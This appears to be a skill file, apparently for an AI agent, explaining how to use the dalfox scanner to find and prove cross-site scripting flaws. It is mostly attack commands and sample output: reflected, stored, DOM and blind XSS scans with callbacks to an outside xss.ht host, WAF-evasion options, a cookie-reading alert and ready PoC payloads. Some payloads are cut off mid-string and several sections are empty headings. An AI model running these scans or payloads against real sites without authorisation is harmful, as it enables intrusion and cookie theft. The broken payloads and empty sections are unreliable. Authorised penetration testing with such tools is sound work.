Xss Poc

xss-poc

When to Use

• User requests XSS testing or cross-site scripting detection
• Testing reflected XSS on URL parameters or form inputs
• Testing stored XSS with payload injection and trigger verification
• Testing DOM-based XSS or JavaScript context injection
• Setting up blind XSS with callback/webhook verification
• Analyzing parameter reflection and injection contexts
• Generating XSS proof of concept payloads
• Bypassing WAF or filter mechanisms during XSS testing
• Validating XSS findings from other scanners

Quick Start

# Basic reflected XSS scan
dalfox url "https://target.com/search?q=test"

# Blind XSS with callback
dalfox url "https://target.com/contact?msg=test" -b https://your-callback.xss.ht

# Stored XSS scan
dalfox sxss "https://target.com/post" -d "comment=test" --trigger "https://target.com/view"

Scan Modes

URL Mode - Single Target

Scan single URL with parameters:

# Basic scan
dalfox url "https://target.com/page?param=value"

# With specific parameters
dalfox url "https://target.com/page" -p search -p query -p id

File Mode - Multiple URLs

Scan URLs from file:

# URLs file (one per line)
dalfox file urls.txt

# With custom payloads
dalfox file urls.txt --custom-payload payloads.txt

Pipe Mode - Stdin Input

Process URLs from pipeline:

# From URL list
cat urls.txt | dalfox pipe

# From crawler
katana -u https://target.com | dalfox pipe -b https://callback.xss.ht

SXSS Mode - Stored XSS

Test stored XSS with trigger verification:

# POST injection, GET verification
dalfox sxss "https://target.com/submit" -d "field=value" --trigger "https://target.com/view"

# POST injection, POST trigger
dalfox sxss "https://target.com/api/post" -d "content=test" \
  --trigger "https://target.com/api/read" --request-method POST

Payload Mode - Generate Payloads

Generate XSS payloads without scanning:

# Bulk payloads for stored XSS
dalfox payload --make-bulk

# Specific contexts
dalfox payload --enum-html --enum-attr --enum-injs

# With URL encoding
dalfox payload --enum-common --encoder-url

Server Mode - REST API

Run dalfox as REST API server:

# Start server
dalfox server --host 0.0.0.0 --port 8090

Step-by-Step Process

1. Parameter Discovery and Analysis

# Basic scan with all mining enabled (default)
dalfox url "https://target.com/search?q=test"

# DOM-based parameter mining
dalfox url "https://target.com/page" --mining-dom

# Dictionary-based mining with custom wordlist
dalfox url "https://target.com/page" -W params.txt

2. Reflection Analysis

# Discovery only (no XSS scanning)
dalfox url "https://target.com/search?q=test" --only-discovery

# Skip to XSS scanning (known params)
dalfox url "https://target.com/search?q=test" --skip-discovery -p q

3. XSS Payload Testing

# Full scan with remote payloads
dalfox url "https://target.com/search?q=test" \
  --remote-payloads portswigger,payloadbox

# Custom payloads only
dalfox url "https://target.com/search?q=test" \
  --custom-payload xss-payloads.txt --only-custom-payload

4. Verification and Validation

# Deep DOM XSS verification
dalfox url "https://target.com/page?q=test" --deep-domxss

# Force headless verification
dalfox url "https://target.com/page?q=test" --force-headless-verification

5. Generate Report

# JSON output
dalfox url "https://target.com/search?q=test" --format json -o results.json

# Full report
dalfox url "https://target.com/search?q=test" --report --output-all -o report.txt

Examples

Example 1: Basic Reflected XSS Detection

Scenario: Test search parameter for XSS

Command:

dalfox url "https://target.com/search?q=test" --format json

Output:

{
  "type": "xss",
  "parameter": "q",
  "verified": true,
  "payload": "<script>alert(1)</script>",
  "poc": "https://target.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E",
  "context": "html_body"
}

Example 2: Blind XSS Testing

Scenario: Test contact form for blind XSS with callback

Command:

dalfox url "https://target.com/contact?name=test&message=test" \
  -b https://your.xss.ht/callback \
  --format json

Output:

[*] Using single target mode
[*] Target URL: https://target.com/contact
[*] Blind XSS callback: https://your.xss.ht/callback
[*] Injecting blind XSS payloads...
[*] Parameter analysis done ✓
[*] XSS Scanning with blind payloads...
[*] Finish - check callback server for triggers

Example 3: Stored XSS Detection

Scenario: Test comment submission and verify on view page

Command:

dalfox sxss "https://target.com/api/comment" \
  -d "post_id=123&content=test" \
  --trigger "https://target.com/post/123" \
  --format json

Output:

{
  "type": "stored_xss",
  "injection_point": "https://target.com/api/comment",
  "trigger_url": "https://target.com/post/123",
  "parameter": "content",
  "payload": "<img src=x
  "verified": true
}

Example 4: DOM-Based XSS Deep Scan

Scenario: Test for DOM XSS with headless verification

Command:

dalfox url "https://target.com/app?input=test" \
  --deep-domxss \
  --force-headless-verification \
  --format json

Output:

{
  "type": "dom_xss",
  "parameter": "input",
  "sink": "innerHTML",
  "source": "location.search",
  "payload": "<img src=x
  "verified": true,
  "verification_method": "headless"
}

Example 5: WAF Bypass Testing

Scenario: Test XSS against WAF-protected target

Command:

dalfox url "https://waf-target.com/search?q=test" \
  --waf-evasion \
  --remote-payloads portswigger \
  --custom-payload waf-bypass.txt \
  --delay 1000 \
  -w 1

Output:

[*] WAF evasion mode enabled
[*] Adjusting scan speed: worker=1, delay=1000ms
[*] Loading remote payloads from PortSwigger...
[*] Loading custom payloads: waf-bypass.txt
[V] Triggered XSS with WAF bypass: <svg/onload=alert(1)>
[POC] https://waf-target.com/search?q=%3Csvg/onload%3Dalert%281%29%3E

Example 6: Multiple Parameters Testing

Scenario: Test specific parameters with authentication

Command:

dalfox url "https://target.com/profile" \
  -p username -p bio -p website \
  -H "Authorization: Bearer eyJ..." \
  -C "session=abc123" \
  --format json

Output:

{
  "vulnerabilities": [
    { "parameter": "bio", "type": "xss", "verified": true },
    { "parameter": "website", "type": "xss", "verified": true }
  ],
  "safe_parameters": ["username"]
}

Example 7: Pipeline Integration

Scenario: Chain with crawler for comprehensive testing

Command:

# Crawl and filter potential XSS endpoints
katana -u https://target.com -d 3 -jc | \
  grep "=" | \
  qsreplace "FUZZ" | \
  sort -u | \
  dalfox pipe -b https://callback.xss.ht --silence

Output:

[V] https://target.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
[V] https://target.com/page?ref=%22%3E%3Csvg/onload%3Dalert%281%29%3E
[G] https://target.com/api?data=%27%3Balert%281%29//

Example 8: Custom Alert Configuration

Scenario: Use document.cookie in XSS verification

Command:

dalfox url "https://target.com/vuln?q=test" \
  --custom-alert-value "document.cookie" \
  --custom-alert-type str

Output:

[V] Triggered XSS: <script>alert("document.cookie")</script>
[V] Triggered XSS: <img src=x

Example 9: POST Data Testing

Scenario: Test login form with POST method

Command:

dalfox url "https://target.com/login" \
  -X POST \
  -d "username=admin&password=test&remember=1" \
  -p username -p password \
  --format json

Output:

{
  "method": "POST",
  "parameters_tested": ["username", "password"],
  "vulnerabilities": [
    {
      "parameter": "username",
      "payload": "admin<script>alert(1)</script>",
      "verified": true
    }
  ]
}

Example 10: Comprehensive Bug Bounty Scan

Scenario: Full XSS assessment with all features

Command:

dalfox url "https://target.com/app?q=test" \
  --mining-dom --deep-domxss \
  --remote-payloads portswigger,payloadbox \
  -b https://your.xss.ht \
  --report --format json -o full-report.json

Error Handling

XSS Context Types

Remote Payload Sources

Command Reference

Output Parsing

# JSON output
dalfox url "https://target.com/search?q=test" --format json 2>/dev/null

# Extract POC URLs with jq
dalfox url "https://target.com?q=test" --format json 2>/dev/null | jq -r '.vulnerabilities[].poc'

# Get verified XSS only
dalfox url "https://target.com?q=test" --format json 2>/dev/null | \
  jq '.vulnerabilities[] | select(.verified == true)'

JSON Structure:

{
  "metadata": { "version": "2.9.1", "target": "...", "scanDuration": 23.4 },
  "parameters": [{ "name": "q", "reflectionCount": 3, "context": "html" }],
  "vulnerabilities": [
    {
      "type": "xss",
      "parameter": "q",
      "verified": true,
      "payload": "...",
      "poc": "..."
    }
  ]
}

Best Practices

1. Discovery First - Start with --only-discovery to identify parameters
2. Specific Params - Use -p flags for known parameters to speed scans
3. WAF Handling - Enable --waf-evasion and reduce workers for protected targets
4. Verify Findings - Use --force-headless-verification for critical findings
5. Blind XSS - Always verify blind XSS manually via callback server
6. Stored XSS - Check trigger URLs manually after injection
7. Payload Strategy - Start built-in, add remote, then custom for specific contexts

References

• Dalfox GitHub Repository
• Dalfox Official Documentation
• PortSwigger XSS Cheat Sheet
• PayloadBox XSS Payloads
• OWASP XSS Prevention Cheat Sheet